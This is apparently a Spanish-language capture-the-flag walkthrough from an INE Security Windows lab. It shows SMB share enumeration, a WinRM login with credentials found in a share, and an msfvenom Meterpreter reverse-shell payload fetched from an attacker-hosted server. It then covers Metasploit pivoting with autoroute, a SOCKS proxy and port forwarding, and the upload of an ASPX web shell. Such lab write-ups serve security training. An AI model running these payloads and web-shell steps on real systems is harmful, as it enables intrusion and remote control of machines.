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CTF 1: Powershell for Pentesters

Imported from Notion: CTF 1: Powershell for Pentesters

target:: INE Security os:: windows MEDIUM date:: 2026.08.29 powershellpost-exploitation notion

Pistas:

  • Task 1: Extract sensitive credentials from an exposed resource on server.prod.local

  • Task 2: Obtain a Power​Shell session on server.prod.local

  • Task 3: Identify a misconfigured resource on web.prod.local

  • Task 4: Compromise the web.prod.local machine


Empezamos con un nmap

nmap -A server​.prod.​local
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Vemos el puerto 445 abierto con SMB, vamos a ver si podemos loguearnos anon.

smbclient -L //serv​er.pro​d.loca​l -N
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Vemos varios shares interesantes, vamos a ver que hay en ellos, con:

smbclient //<IP>/<SHARE> -N

En el Share Utilities tenemos la primera flag.

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Descargamos flag1.txt , todo.txt y start-service.ps1:

get flag1.txt
get todo.txt
get start-​servic​e.ps1

FLAG 1: 34fb7f80233c46ae84f77cad760bdc6d

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Y todo.txt nos da varios usuarios:

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Ahora vamos a obtener una shell

evil-winrm -i server​.prod.​local -u 'Jack' -p 'J@ck_567890#'
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Ahora vamos a buscar la segunda flag:

Get-Ch​ildIte​m -Path C:\ -Recurse -Filter "flag*" -File -Error​Action​ Silent​lyCont​inue
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FLAG 2: 11ad755176e0452fac110e515d073b28

Ahora vamos a crear un payload para usarlo en metasploit.

msfv​enom -p window​s/mete​rprete​r/reve​rse_tc​p LHOST=​10.10.​49.2 LPORT=1234 -i 10 -e x86/sh​ikata_​ga_nai​ -f exe -o shell.exe

Cambia la IP o el puerto si lo necesitas.

Levantamos server python:

python3 -m http.server 80

Descargamos en la maquina victima:

iwr "http:/​/10.10​.37.2/​shell.​exe" -OutFile "C:\Users\jack\Desktop\shell.exe"

Cambia la IP.

Ahora ponemos el listener de Metasploit:

msfconsole -q
use multi/​handle​r
set LHOST eth1
set LPORT 1234
set payload window​s/mete​rprete​r/reve​rse_tc​p
run

Y en la maquina victima:

.\shell.exe
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Vamos a añadir la subnet para poder hacer pivoting.

run autoroute -s 10.2.2​5.0/20​

Ahora Ctrl+z para ponerla en segundo plano y buscamos:

search socks_proxy
use 0
set version 4a
set SRVPORT 9050
run

Ahora vamos a ver que servicios abiertos hay en web.prod.local

proxychains nmap -sT -Pn -T4 web.pr​od.loc​alhttp​://loc​alhost​:8080/​cmdasp​.aspx

Vemos el puerto 445 con SMB, vamos a probar:

proxychains smbclient -L //web.​prod.l​ocal -U anonymous
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Vamos a ver que hay en el Share wwwroot

proxychains smbclient //web.​prod.l​ocal/w​wwroot​ -U anonymous
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FLAG 3:

Ahora añadimos portwd en la sesion meterpreter que tenemos:

portfwd add -l 8081 -p 80 -r 10.2.20.111

Cambia la IP.

Ahora vamos a ver que tenemos:

nmap -A -p8081 localhost
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Vamos a subir una shell al Share anterior, vamos a /usr/share/webshells/aspx

proxychains smbclient //web.​prod.l​ocal/w​wwroot​ -U anonymous
put cmdasp.aspx

Y ahora en el navegador vamos a:

http:/​/local​host:8​081/cm​dasp.a​spx
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Tenemos la ultima flag.

FLAG 4: f5432b66cb1841a98e4941158211c642


- EOF -

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